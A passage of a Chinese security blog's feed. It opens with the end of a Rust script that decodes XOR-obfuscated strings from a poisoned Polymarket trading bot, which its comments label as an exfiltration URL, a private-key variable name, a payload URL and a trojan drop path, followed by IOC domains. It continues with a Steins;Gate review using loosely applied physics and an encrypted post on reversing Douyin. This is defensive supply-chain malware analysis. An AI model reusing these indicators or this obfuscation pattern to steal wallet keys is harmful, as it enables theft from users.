class="number">0x14</span>, <span class="number">0x49</span>, <span class="number">0x4b</span>, <span class="number">0x58</span>, <span class="number">0x48</span>,</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 2. _r 函数中尝试读取的环境变量名 (Private Key 相关)</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">env_pk_raw</span>: [<span class="type">u8</span>; <span class="number">22</span>] = [</span><br><span class="line">        <span class="number">0x6b</span>, <span class="number">0x74</span>, <span class="number">0x77</span>, <span class="number">0x62</span>, <span class="number">0x76</span>, <span class="number">0x7a</span>, <span class="number">0x69</span>, <span class="number">0x70</span>, <span class="number">0x7e</span>, <span class="number">0x6f</span>, <span class="number">0x64</span>, <span class="number">0x6b</span>,</span><br><span class="line">        <span class="number">0x69</span>, <span class="number">0x72</span>, <span class="number">0x6d</span>, <span class="number">0x7a</span>, <span class="number">0x6f</span>, <span class="number">0x7e</span>, <span class="number">0x64</span>, <span class="number">0x70</span>, <span class="number">0x7e</span>, <span class="number">0x62</span>,</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 3. _x7f 函数中的远程脚本下载地址</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">script_url_raw</span>: [<span class="type">u8</span>; <span class="number">44</span>] = [</span><br><span class="line">        <span class="number">0x53</span>, <span class="number">0x4f</span>, <span class="number">0x4f</span>, <span class="number">0x4b</span>, <span class="number">0x48</span>, <span class="number">0x01</span>, <span class="number">0x14</span>, <span class="number">0x14</span>, <span class="number">0x4c</span>, <span class="number">0x4c</span>, <span class="number">0x4c</span>, <span class="number">0x15</span>,</span><br><span class="line">        <span class="number">0x4b</span>, <span class="number">0x54</span>, <span class="number">0x57</span>, <span class="number">0x42</span>, <span class="number">0x56</span>, <span class="number">0x5a</span>, <span class="number">0x49</span>, <span class="number">0x50</span>, <span class="number">0x5e</span>, <span class="number">0x4f</span>, <span class="number">0x5a</span>, <span class="number">0x4b</span>,</span><br><span class="line">        <span class="number">0x52</span>, <span class="number">0x15</span>, <span class="number">0x43</span>, <span class="number">0x42</span>, <span class="number">0x41</span>, <span class="number">0x14</span>, <span class="number">0x48</span>, <span class="number">0x5a</span>, <span class="number">0x5d</span>, <span class="number">0x5e</span>, <span class="number">0x64</span>, <span class="number">0x4e</span>,</span><br><span class="line">        <span class="number">0x4b</span>, <span class="number">0x5f</span>, <span class="number">0x5a</span>, <span class="number">0x4f</span>, <span class="number">0x5e</span>, <span class="number">0x15</span>, <span class="number">0x48</span>, <span class="number">0x53</span>,</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 4. _x8a 函数中的 Windows 木马写入路径</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">dest_raw</span>: [<span class="type">u8</span>; <span class="number">25</span>] = [</span><br><span class="line">        <span class="number">0x78</span>, <span class="number">0x01</span>, <span class="number">0x67</span>, <span class="number">0x6e</span>, <span class="number">0x48</span>, <span class="number">0x5e</span>, <span class="number">0x49</span>, <span class="number">0x48</span>, <span class="number">0x67</span>, <span class="number">0x6b</span>, <span class="number">0x4e</span>, <span class="number">0x59</span>,</span><br><span class="line">        <span class="number">0x57</span>, <span class="number">0x52</span>, <span class="number">0x58</span>, <span class="number">0x67</span>, <span class="number">0x49</span>, <span class="number">0x5e</span>, <span class="number">0x5f</span>, <span class="number">0x52</span>, <span class="number">0x48</span>, <span class="number">0x15</span>, <span class="number">0x5e</span>, <span class="number">0x43</span>,</span><br><span class="line">        <span class="number">0x5e</span>,</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;--- 解密结果 ---&quot;</span>);</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;数据外传 URL: &#123;&#125;&quot;</span>, <span class="title function_ invoke__">decrypt</span>(&amp;url_raw, key));</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;窃取的变量名: &#123;&#125;&quot;</span>, <span class="title function_ invoke__">decrypt</span>(&amp;env_pk_raw, key));</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;恶意脚本地址: &#123;&#125;&quot;</span>, <span class="title function_ invoke__">decrypt</span>(&amp;script_url_raw, key));</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;木马释放路径: &#123;&#125;&quot;</span>, <span class="title function_ invoke__">decrypt</span>(&amp;dest_raw, key));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;警惕开源 Polymarket 交易机器人供应链投毒风险&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;IOC：&lt;a href=&quot;http://www.polymarketapi.xyz/&quot;&gt;www.polymarketapi.xyz&lt;/a&gt; || data-update.pol</summary>
      
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="Reverse" scheme="https://iloli.moe/tags/Reverse/"/>
    
  </entry>
  
  <entry>
    <title>Steins Gate A Sci-Fi Masterpiece That Shouldn&#39;t Be Underestimated</title>
    <link href="https://iloli.moe/2026/02/20/steins-gate-a-sci-fi-masterpiece-that-shouldnt-be-underestimated/"/>
    <id>https://iloli.moe/2026/02/20/steins-gate-a-sci-fi-masterpiece-that-shouldnt-be-underestimated/</id>
    <published>2026-02-20T14:34:54.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>El Psy Kongroo、這一切都是命運石之門的選擇（すべてはシュタインズ・ゲートの選択である）</p></blockquote><p>春节用自己写的 AI 代审提了几个 CVE，通宵看部动漫奖励下自己</p><p><img src="https://bfs.iloli.moe/blog/20260220224701790.png" alt="image-20260220224105217"></p><p>小孩子不能熬夜哦</p><p><img src="https://bfs.iloli.moe/blog/20260220224208552.png" alt="image-20260220224208367"></p><p>点评之前，先来说一下观看顺序</p><blockquote><p>命运石之门的1-22集</p><p>sp23</p><p>境界面上迷失之链</p><p>命运石之门0的1-23集</p><p>命运石之门23-25集</p><p>命运石之门剧场版负荷领域的既视感</p></blockquote><p>一开始这部作品我以为讲述的是寿命论+轮回的（好像确实是？），但看到后面才发现整部作品都是围绕着时间+穿越来展开，作为一部 2009 年发行的作品，能让我在 2026 年还看得这么舒服，确实有一手。</p><p>不过说实话，<strong>前 11 集的日常铺垫确实劝退了不少人</strong>，要不是朋友告诉我后面有反转，不然我也不会坚持看下去的，但只要你撑过那个转折点，你就会发现，前面所有的废话，每一条不起眼的短信，每一瓶乱入的乌帕，全都是在为后半段的头脑风暴埋伏笔</p><p>再来说说标题，为什么说他是 “科幻神作”？</p><blockquote><p>叠甲：本人没有玩过游戏作品，但完整的看了站内部分 UP 主解说的时间线，写得不好还请谅解</p></blockquote><p>很多玩时间循环的作品，最后往往都会掉进逻辑自洽的坑里，或者干脆用<strong>奇迹</strong>来强行圆场，但石头门不一样，它硬生生地把<strong>世界线收束（Attractor Field）</strong>、<strong>外祖父悖论</strong>和<strong>多世界诠释</strong>这些硬核概念，缝合进了一个极其感性的故事里，它最狠的地方在于，巧妙的利用了时间会让你明白：<strong>改变过去并不是没有代价的</strong> 当冈部伦太郎在无数次跳跃中看到同伴的死亡，那种从 “自以为能掌控时间” 到 “被时间法则玩弄” 的绝望感，直接把这部剧的格调拉升到了哲学高度，它不只是在玩软科幻的浪漫，它是在用最冷酷的逻辑去推演最炽热的情感</p><p>站在 2026 年的节点回看，虽然当年的电话微波炉看起来挺降智的，但它探讨的核心命题<strong>如果为了拯救一个人，必须欺骗全世界</strong>，依然能让现在的观众起一身鸡皮疙瘩，这种观测者的孤独，以及最后那个神级转场（也就是著名的 “欺骗世界” 计划），真的让无数后来的穿越剧显得像小儿科</p><p>它告诉我们：<strong>所谓的奇迹，不过是无数次观测与挣扎后，那唯一一条概率只有 1.048596% 的世界线。</strong></p><p><img src="https://bfs.iloli.moe/blog/20260220225417696.png" alt="image-20260220225417452"></p><p>再来回顾现实，我们所处的宇宙，虽然还没有多元宇宙的证据，但从量子微观层面上来说，叠加态与观测本身就在挑战我们对现实唯一性的认知，在量子力学的主流解释中，薛定谔方程描述了一个孤立系统的演变</p><p>$$i\hbar \frac{\partial}{\partial t} \Psi(\mathbf{r},t) &#x3D; \hat{H} \Psi(\mathbf{r},t)$$</p><p>这里的 $\Psi$（波函数）包含了所有可能的路径，在石头门的逻辑里，这对应着无数条潜在的世界线，然而，一旦引入<strong>观测者</strong>，波函数就会发生所谓的坍缩，从概率的叠加态变成确定的单一态，这种从可能性向确定性的跃迁，正是哥本哈根诠释的核心，但在学术探讨的更深处，埃弗雷特提出的**多世界诠释（Many-Worlds Interpretation, MWI）**则给出了一个更符合石头门逻辑的推演，<strong>波函数从未真正坍缩</strong>，而是宇宙在每一次量子测量中发生了分裂</p><p>我们可以将这一过程形式化为状态矢量的演化：</p><p>$$|\Psi\rangle &#x3D; \sum_{i} c_i |\psi_i\rangle \otimes |O_i\rangle$$</p><p>在这里，$|\psi_i\rangle$ 代表系统的本征态，而 $|O_i\rangle$ 则代表观测者的状态，每一个 $i$ 都对应着一条独立演化的支流，在现实物理学中，这些支流由于**退相干（Decoherence）**而变得互不干涉，但在作品的语境下，这些支流便是相互平行的“世界线”</p><blockquote><p>变动率（Divergence）的非线性扰动</p></blockquote><p>如果将宇宙看作一个巨大的动力系统，每一条世界线实际上都是相空间（Phase Space）中的一条轨道，为了量化这种轨道的偏离程度，我们可以引入类似于**李雅普诺夫指数（Lyapunov Exponent）**的概念：</p><p>$$\delta Z(t) \approx e^{\lambda t} \delta Z(0)$$</p><p>在石头门的设定中，1% 的变动率阈值是一个临界点，当 $\delta Z$ 超过特定阈值时，系统会跨越<strong>收束域（Attractor Field）</strong>，这意味着在非线性动力学层面，宇宙的演化存在强烈的稳态趋向，即无论微观粒子如何跳动，宏观的历史因果律（如真由理的死亡或三战的爆发）如同物理学中的吸引子，强行将所有轨道拉向同一个终点</p><p><img src="https://bfs.iloli.moe/blog/20260220231248828.png" alt="image-20260220231248681"></p><blockquote><p>克尔度规下的信息回溯</p></blockquote><p>作品中利用微型黑洞作为载体发送 D-Mail，实质上是试图在时空拓扑中寻找一条<strong>类时曲线（Time-like Curve）</strong>。根据广义相对论在旋转质量下的度规表达：</p><p>$$ds^2 &#x3D; -\left(1 - \frac{2Mr}{\rho^2}\right)dt^2 - \frac{4Mar\sin^2\theta}{\rho^2}dtd\phi + \frac{\rho^2}{\Delta}dr^2 + \rho^2d\theta^2 + \left(r^2 + a^2 + \frac{2Ma^2r\sin^2\theta}{\rho^2}\right)\sin^2\theta d\phi^2$$</p><p>当旋转参数 $a$ 足够大时，时空区域内会出现允许闭合类时曲线（CTCs）存在的能层（Ergosphere），从学术严谨性出发，尽管霍金提出了**时序保护猜想（Chronology Protection Conjecture）**试图禁止这种逆行，但量子力学与广义相对论的这种张力，恰恰为“欺骗世界”提供了理论上的缝隙</p><blockquote><p>观测者意志作为边界条件</p></blockquote><p>最终，冈部伦太郎所追求的<strong>Steins;Gate</strong>世界线，可以被定义为在极高维度希尔伯特空间中，一个概率密度极低（$\approx 0$）但在物理学上合法的解，要进入这一路径，观测者必须作为<strong>非局部变量</strong>介入，通过改变边界条件：</p><p>$$\delta S &#x3D; \int_{t_1}^{t_2} L(q, \dot{q}, t) dt &#x3D; 0$$</p><p>通过对过去关键节点（Event Horizon）的极精密干预，使得作用量 $S$ 重新寻找极值路径，这种干预并非抹除过去，而是利用<strong>量子自洽性原则</strong>，在不违背既有观测事实（即“观测到的结果不可改变”）的前提下，重构了因果链条的中间过程</p><p>最后，总结一下这部作品吧，我对这部作品有两部遗憾</p><ol><li>一是我太晚看这部番了</li><li>二是这部番没有其他线</li></ol><p>除此之外其他我都能给到顶级</p><ul><li><p>作画：5&#x2F;5</p></li><li><p>剧情：5&#x2F;5</p></li><li><p>声乐：3.5&#x2F;5</p></li></ul><p><img src="https://bfs.iloli.moe/blog/20260220231206450.png" alt="image-20260220231206200"></p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><p>游戏：命运石之门、命运石之门 0、命运石之门 比翼恋理的爱人、命运石之门 线形拘束的表征图</p><p>漫画：命运石之门 亡环的叛逆、命运石之门 恩仇的布朗运动、命运石之门 哀心迷图的巴别塔</p><p>动画：命运石之门</p><p>命运石之门 境界面上的迷失之链、命运石之门 0</p><p>命运石之门 横行跋扈的离家漫游廦、命运石之门 负荷领域的既视感</p><p>小说：命运石之门1 蝶翼的分歧：Reverse、命运石之门2 形而上的坏死：Reverse</p><p>命运石之门3 境界面上的Steins;Gate：Rebirth、命运石之门4 六分仪的习语：前篇</p><p>命运石之门5 六分仪的习语：后篇、命运石之门 萌芽追想的友谊、命运石之门 遥远的瓦尔哈拉</p><p>命运石之门 闭时曲线的碑文、命运石之门 永劫回归的潘多拉、命运石之门 无限远点的牛郎星</p><p>命运石之门0 亡失流转的孤独、命运石之门0 盟誓的文艺复兴</p><p>命运石之门 负荷领域的既视感</p><p>广播剧：广播系列☆Labmem No.001~008</p><p>命运石之门 哀心迷图的巴别塔、命运石之门 无限远点的弧光灯、命运石之门 暗黑次元的海德</p><p>命运石之门 现存在的后验、命运石之门 隐晦曲折的交响曲</p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;El Psy Kongroo、這一切都是命運石之門的選擇（すべてはシュタインズ・ゲートの選択である）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;春节用自己写的 AI 代审提了几个 CVE，通宵看部动漫奖励下自己&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;h</summary>
      
    
    
    
    <category term="Life" scheme="https://iloli.moe/categories/Life/"/>
    
    
    <category term="Life" scheme="https://iloli.moe/tags/Life/"/>
    
    <category term="Anime" scheme="https://iloli.moe/tags/Anime/"/>
    
  </entry>
  
  <entry>
    <title>Reverse Engineering Douyin v37.8.0</title>
    <link href="https://iloli.moe/2026/02/15/reverse-engineering-douyin-v37-8-0/"/>
    <id>https://iloli.moe/2026/02/15/reverse-engineering-douyin-v37-8-0/</id>
    <published>2026-02-15T14:45:10.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="09982bbe980654de0e3db79f6d669dcfc83779c2ea585f3f8613ae44ce027d77">2a5c85e923efc6d4ce7ff3ace2900479e4cb25b00a1d2794dc2684d5e28fbcd47fdcaf4bc9e23fcfe3129249c19852d66a3237d9d41f04c6dacbf47e1211b482c1908e7b83dd3b0f9eb0f85b71ceaf060860c554271a5509cc5c360eb0e6c78a538c9626b91f0d63678f7dc917e171c6d003ff6197e03b4bda5a91dfae2a03f892cfd26b40e15e120fc9fb31b31c3f81ca4a26bdc6b7d15a54749f169f3b07d864946154071b9890ee9997f3dbb4e358810d52ed287103ab98c01564dcd4a641ddf3a2e459af73bfbc99dde06bd91278c99cea8614e59a461e87024bf326ce03918666f77571d2e36bb4ea6fc513080a47a97f9a2f731fe1f71195ece934f6a3931f0460531ec9c28bf956be68969c217240c1aa3cf84f59e8a98697f989c3b3aed7e31945bb15e640cb3e27d9e0fde370e196c0369dc636dcb6badb7f6c4b2d8d6127dae229afcefe9f914a6e6f0f3587d1aadecfc2f1359ed69d4906eef91ad72e854c296cb04c593f3754391bb24070a7ef50434eed59ad9b575f448c7a0433ad5ed1c121be67ad2b0dc9cda7ea3ea4d1f1aa2694066902c919196a7e5ca103d4d610a8b19ef90955523b4628081c5515c1870ad95afd80d4210fcd099c29e9944b24d986f471abb8c4f3b069cac45cbc49f07b21ad3c2a28da7efd2e3a5f65bf18d9613ebd288a9de7ead9e5d990921064b5ba498749363cbc20e53feaa940df0ec971f1dda56cf1ce4e2ec5da2d34fae4625b4afb38f47a765851093fb125cab3c3f54ce0b872212267de7988e4e13e33041520ef6afdba35256dc4055486f6f40c47ccb8df19cd2cfc5813e19be9c63cc42b92ba8d8e6adec706c82a0171f7147b9ed83f187d67db060dfc7bb55b8b8d9f6094f04f4bd9133972f266fec3e72c9ed329c3921279d4de8b76202cef10ceed23e1e96e4cdb6a685af0c30dd98d9aaea603aca4fae83baa19ff0e2b9c9ae92091c90d78fc383ec337d92b621bd2c771ef8e656096cdfdcb3926a03876f62a07ab802d1c9ed02397a5de0d84cf3b004cc1f707e5357e8e849a7dfee93fe02bd466c8a207533d3ab5e65e9283374d500919cea51627b55547028bcbf864a8201f382280b7393047e313d276167ab04748f7be6768134e4031578e9b5c65eb61d007d83f7e804b29024d650a40194fc7ab980c084005b817cf6473c54697dd3288db7be9cd0063327c4738f4a902b850e57893ddc131d9810955d4592bdef516bfda74274a996761490481f6f6279c575fd2d0fc7d6545363594b8707bf19b763063325dc4a411b3e86891ead314a2c714687de6f19bb1d25dd44014a98ad60117f3c8168e82f35eccaedf70009a8aa69299d30633fbe34b7db9964c4f19be3d8234d979bf29eae5cacec72436987dfa4fa285ad4ef825cb29b2de9710d5e8005e3a4acfd3c98ce2686166623786951647ad7ec9233832f7b7b5a81cd01e9e40c4aa39187bb1a5793ea56526b28a6fb00c9a5f0596b922e4abe2f6984dc09ffb659a243e6f0f3feaf238b06ce8b5bd610f278e90d2b523470e14ec9dab48977a7171538484527364ed1769c657f2b7a0f7a0df56b7fe3ad251008fdefb9af20318788f2c07fd4536d3dfe40897bf55a00ff4d0e03128952e20422ae1045d8ba2a7a5520c296d860961fd00778bc69dc9b2e775b84861f79b0f3253ba9b4ab3a5177251463e932aab4020ef99639f8d08b3ba7f4a6f457fbf5234dab31cc7f2bfa63d651ed5afa9c3ae10eedd1824f2c415b61196488b898c1ee7a2a03fdc29f3abeff032da607cb5d372844c4fe0e0acae0d687f89809f109c04adf13ab4c349ae393d9708795b0a0fb7802f3692f02de1e2c9334686eb7859b5315dbc613a09f673e433b1922941e5d097dc43296dcd988287d6cc1b786ca6ec48a8439758104fedfb29d4961df222436133eff223524418320e31e0dd8254f59e82d9bababb679f1203c45e4a3ef08a5c032e192bf1566965716b4293a7100424b5a5f44b03eec4e558b1ec2523934a413271095bb2afcd8fbbc4b77be88a6df11e2bcb0795591483b5b9a24f6e77054b5e7aea3ee0041be0a55047dfe173efcc33ecd40f825d8b1aee247db2c06d8388dd68a7f6a220fdf125a968746891870ec0e7fa21503255dd436e20a7e40d5382685a923d33fc3a31682f128b606d2d0678d71851a788c50a87483bf633f8f997d14eaa36af4e6300fecb10cc1a5cd68d1614ff50516b28fc520f120d58db3db5b6c8589b5c4efcbfd9b11f22825f080220a59608dfd0e03219f9a3323223b00ada679653b8a3bc7209d0fa91a370cdd275bb1f4779b915ecf91f4a2fe5d990056cb64e3210342d1b6d7944d8bed08b77de186665dcb63a51c9a513942687883be327baaf6080b9ba2afd7102b70937b62efb823dcd80a3f023869ff193524a8f28bd638d17593d8273de8328c95e269e849c039adac4e80216e941b1cd1bda8a2559583969d47e4e7c01e6332ead6114659c05f2ddeb0e41810a9a851eae8048ccfdac3d991cf3764da01d2507bc6f18c76e7a42ff54afc3de732e79c0c10115357e92bf19bac9dc12f703db90a5fd11048bacc12bf9be2f1307125f65197edae0794b4bdd021e0f54e86884a8089aec1d88944e0aaa59a99899cf31a7dca8e9ae11113ef93444f08bbfa6dce051532736e8d22139361e2b2d71f94b96a6d8b8a27558d431a022cc3f82a19a3cb8aa685fce8930e7617c73d5c091acd6b6fd8f8907a5ce23deaf0996146ec3ab56dbb8457c1b2bede823357e1db24cf8b2293ec9ab89b33087cfadf41a8ef21784acf4c560cac1c184d09410d98e0ad8e80912d3026a21270fb216c62aacb884dd7de3b5daf7d7ecec6c077f8cced3fff83922d8313fa8f74955394ca49c2b96e87e637b4b66663e62b664120338e5fa97d9e65d82f3fcf3933b1e0699a5e6d5de7be2c66191b131dc2d9adddd24736333f7ac31fe0d26b825c4cb0b8ef4cfd31d0f7dbb024b3a5f76839682c32d9aadc06347e7a68cf31805a74c74f267ff860ea3518790b71e45d6d1e08510255427db1d9a9ac165f8c6baceeed54e8cc7d0fa145539374797c80c00b03e9233cdb6e5e176276f3249bfd51dacabddfe89ec543c2983e6a51fc7348c8b2e0641c902b6e9679c2610479258ee67edb05b1cdafe38632ee1a2093f45fd103a82cb911a04b0495228efb88a8c87bcfc6303a145bb6274d641d7b12ccc4e49eaae680950039248ae3da5a04f628766dbe9a22d4cba1dc6b4f3615a4df8d67102c1428dfbd1d27d3977afdf5882b87caf68cf60b0c95b30200fb559bc57bbb6809d7b7510cb151b0cf6ba93ad7739623182ec35782c726dcc7172371534da0db640c2d02de6e0a37bd6c83de2538ae1d291716e601b39978ffc34cfe5830eb43e8a8a28701c03df5584742b9e0b6998d54558a02acd0859f412835bdb82897514e8a64c216cb6fe01166f83a0bdd0b4f248a8ddfe797c368f2a44a8467c5b8b2b7e0b8d24c87a15e42a9c96ff1c7692ff3320ba1931422b71c8f00ec9973527cad66fbfc4b0c70adf480e15696cb1ac7860410919702227868a98d370165ca8c993a79ce5889319a2d10076adaeb2a24862d78464fe6da52667b1dbdbbeae1e028e30ed6935329c9d811a7d9fc788d8d6ce2f28361dcbb640444e6fd6471a8c28e8298eecfb2cbd519aafbe0c6ace60281c2ddc084a255d3b6f6af6c4b083951f1a371b3f5cdbb1ffe30faff69db885393e7874f200a16bb7305bbb8cbb137b99e74a057e4e4251046a14fcf6c8bfc20ed283505255a914d7c716ab5b94c60a13d9ffda1321a1e6ce864c21709160110691465f017c4db83ef2086c8e22bdde7744f23ba0ca2ba712c2037a3e573c417db562226ac8eb5c3575c6e52ac4e676f627204c5c98cafa3ac8d63304cacd1ad29e9c57fd2f0ce03b14075e1ad3d15977ac8de29250bad6adee8da645278b9c323a14bfce9121559577e99a41e31d9c2ac86f0df332a91d96465cb31a37bac283c77125f006f55c7eb74c27334a62a711b08eaef36436ec6ed8fd4ac26cf02cec5c819c8a83e9c07478a1b733bdd1b6cd72ac309f48328983c4654344f789f97292cc489bc2132b88ef00b31b4a68ceae3bc87f406eaf854b0fa3336b906bf2d1906e64c8a8fc8830084aa024929583ed4eb19070d63f125b10df93962c4b46113344e64c61d281dda3c5633ebb90c3639d5a8719d7daa297e5c0cecac8f882f6e009f06fa6aa4cdc182c5b3a528253dc7ad07d4b1f52ecabf163a8d1c463e152a2e1ef86b4367925f257c4be927787fed4ec5eac0f2717be12a6cff8972f8d16983b741d130076fb9d9336f310ddb18136c2f92ab212617f89dea5590cb1c430dba4fd16f3f1681c32390d385f8ecd47f66cab6a7f2d80a2dcf789109c54a43482464757c905fbfd70d6fc559bfda372c2cf6f1b3e7fb94c58fd44b6b2971a0cd56d4d47047a65be574cdafe08fffe65ff9706e6241b9c4032849ee2413e5a54724138c385ad4340638f3e58f62b1950feb8b85cc2c69b91aa6175ecf86ea2f8f2fb87ce4b7e4fd09f6b2884da05036d2b78778529f194035677cceb87e0e99ca6fe827b2d9ccc1aa21514b4b6b053d3a6b46a122fee294fdf7a7361ab9f2d2de63477efc3371b8cf9e51e86b60cc0b797078f96e6745a00006bf7f691eb641fe0458d830228004001da940c80073a58d335097ae398c2b779ec8574805888c4037d340f715dd91adf501f5e42cbf49cab049ae54fccb6715e71bbba7d7d435d887f01ad4b8a2c356eee29b1aa26e85b7b985cd249494f813817067ceffc530de84f5d4c9414168e5845ddecc248d91c54c0598e2dd59fba38b9f2c58589554fc77f2d597f469453469b4ee3c4fa303ce73fa664324c1124c76d5c84695c5d2fd0ef2679400398db45febf117f986e1bef70f48ca2c9f1c8d5e3597b0c845a220e73b19f0ba50ccb34ae460d0b0c4be58174117dff72737b8651d54ab66bfe812f8350c54790fe65db02d4fcdd9cc0584ccdefa349c241659ee14ad69d9b3459b1706c91cbf5a3e4e5b96903f05e989a4686b31434c8b940b3f8c5948245996b8b58382576775427f3e9fb9d6a5a104fba77858061b6e6094c7c3c754a6b8640097720f9261b749e1de81f12f72be2ce6f3ab7ab1b753a8af62a0cf740730913e5a6735b6bf7ffb8e9f1fe4eca7e5a5f66c5ca74f4cbb719fc8ab79fc912d9683519cc0f3bab7b1a53b851ae32bd73c75fca64309a84820f545b0ddb33d9d677ca948c1fb5815f5eb4c9e8b9f2513cbb6d2c7327c33e178acc07016f8b7557237653311dcf4161196949f38affc2c402550c1b7a13762149159e1996a4c94c87773079a83ecc504feaff23899e8c1869e86897d0fe9d15d349a2534c9b2e1fe2322d93959389fe89cdd06f6559c515b08837e087915de57a5d8bf0f4e6ced89742827c7353cf18725fae6dd39aa8bc96ef787ab639c08eb421d1620a9d7e385bd5050d1fb1a69180cece2ab18fd54b6ff9555ca1eed09664bca92d96a7a0695ba75786de04d9f0d9d5252b83bd7e5963764791621b9de6c7ad3e257446c13712986f9edf2bed0c5a3b35a22242c0097f6c557acd8a4b0b484ab2c72aa9bd680c96401c03754b79554e6ce8b8f02b2ce7a48e0f37b598c855ab96366275a3bbd505ca91bb6111108a73a676559c2237b90207725aa69501dbedf751717e7f7063d36cef527a3d974770b80eaf3d2136e9cb5fbe464f56c6e50e6f26b2ae3f6acb1fb1fbb0ae4d3d31a88f65d1168295ccdf61a6da61f7084b6e1569402c8781a14acab81c4b787321a642b527710a9f62e2a93877472256cb279ecedca2d56ee3878168c889aba8c2f9732bd4a132cd3b3dd802576905c1b07affcb67b32552d27a0bd2d3be150f3968ffa2b7ce7da3a582ec0bcee11169e1ddaf534b42df46849168d50ad303149fb1a079603a6948169ff8777a86262c198c041a1436cd4f64c4632d294c4fccb570ebd3a09bee437a11b110f50919432bea55aaddffce46734bf8bed315ec6af4e79199b063e79729a666e09d185f8fda5877cac1f7cc3201d77ed1a2abeb7bc07c820f70d13da8071c6f9cf0bb654a3b28406ce3e050ffb4d83e1a2df9a88132c62717174d3eb71eb19ce4414fc0ebe393243b179b86d34d83cbf96b19128b6d625b638bef41e1925bbbb90045ccac603dc34f6a9dce37cac7549f8bc049a6f874947ce29338b566dd27bddca1901c005030bd7c301aee6addf40a6809daaf4cae99a79d3bbf5b9f031f5e0c8f8c2fca77e73e53dd7a95c10e3c43f8918e2a37b148731bb983a0dc476b349f0d32f23817ea825e9fac89cf4e37d2d27a12f7392db92767dfea9b5c13011cd9fa3210226f37df66a263f0b19220dd77f6f74bb7cf8f1d9c2a8eb8594d9858ab004fc35a5945d245585e4a83e40b9d8a95492dcc073f3f12a164ea5519d9c9f0c50b1cf48cc73cc611709e494ceae837c112123245b2c7846b962630181cdbacce3b713d25ab127ddf60ab089ace467239a4aeb39cda3e8316b7d8f0aea9a809fdd27d0110d22cc794aa28610ea38e9949b65d01744bfd62332edf1435beae32f5da054cbaecf83758100830167334530904ece4e8604eb94b937c93f1b2a8bf0e508744949937c85b92f0593af53b5f200c0d2081ad020d7f81e28b5908230211ed4e8952c8af1c23e47264ce31f0954d200a02b78849fd060b4a26d6d4fd74bda537ed830f6239d05b68e109e0771503592a8da1435a4148020d5b8e219fd41538a60716f31d4e65ed7b49bf00e99b0b66ad1e12b1f1a7bb9bf09deca6233d48f39cae72ae4b020f466e377f42d2b5b64ad612645708c093bd4cd63baa7b82da2677f5cb1b9212d00e24dedc5ae2cc452ac6b69c8f1310839b67affe529e7a6602da83dab3ca772b030d93011f9196af5b53f68339af856ad7b564b04cb799d0822dca617164a5db91a6b73961c840dc08c6c75c7ee22c826f4529b944c278c5a644811507b5e78c82029a6ff866653b0380339422eaeb9d1de5c1e9814dfa083caf0184789219c4fb16597011b6923d364516813844523c5079857455e2eaa198ecd93a29996ee8f60faf39dd5e283e53a618bec15b44c42eaa19630d6ebe0e67a24551016354d7ef6f5db5af1c4fbbdfac1839fd2da6046224801920a991c63c59e23fbf7331fd5edf2a8fd8d313855532963a29cf26f85115bfa5f58794f5fc0393012ac1793ab94223fa41276c1a84bf5ec2bbb161563a8d5e23803374c0f24a008ec5747e6f89ac033719d1698e20d270cd5bfb07454bdfd418408ad0c58ff56fd44bd9014cbbde1deb36b03a2f2cee957c58fed3574971c630f9f6f107c72b20e29e526eb5e2ba7509355d3dd2c8ced47d93a1987adc327a96924f7b5b755b142fffec5cd0f3b1535afedee416874c9291a993cf282f7c10c149a8f30fbdcf779424b5372178559df1405dba334f5730b2ea3d5864440af63522e1533125a47b37d004d3fc1929d3065e56f3ef723a873eb43d4d78dc1285dda64b57ab10742eaaacc77f404bcb019378fc019c714e698179ef492db22995d945f8d1439db7c21b28a35d95cda391eb9a83e005af0a39d5c9e1ce99cdfff899578c7f86a3c69872e474f54d8bdfd57e67eb17660a6b5dd7093d5bac53702bb96f4b5f3d3360fcbd5e4b055849d9892e019a1314c2a62914a7f650afe771fc4bdad3627ffe43f44f992029480f756c7319eb1f68ea4da75205b4191dba18eaca97e4bf432f4dff0a728109a71b4b42ba3c1243a678081c79dd38988cfc3f01a665fdb05287212156783aee33d8daace96b7ecf3941ef14ed17972039ecc7cc0f29fbfbb04774a5d6a72a42686261b15006a56c572e8850b318a0ffc76a0c1b96d63c960fe53a1553e17191bb8d78fa3ab7a9a6b2c72f84dafc5d7922cd6d11df8b4506994a9ebb1bab634bc8e7305413de2819d7e90b26ee13092cd21c7b8d82ec67914d9f3c2e17980097abef94f6e8bb4d1e4228362c6154e7c4c9725d433f89ba4c411ce2d36766e4149129e48639405723ac57b7610c9388ff30dca0b79dca55c1dc817a344cd92d58c98a21c32e525d31c43fffe461dc618e2c23265c568c406da8db67d51f3fd946ac23e9af20e7e8594a13f1b4dac8fc8b750dcef01b523b5bbfc8663a8adf4834d30dc8e2081141f29cf4bc8cb94cc7dbf29f98a96ee8ac461ae8b5f1538fa0df8f41a7b5327887d42bee393385f892f9fe67d5b349762985a7058ecaaf625859e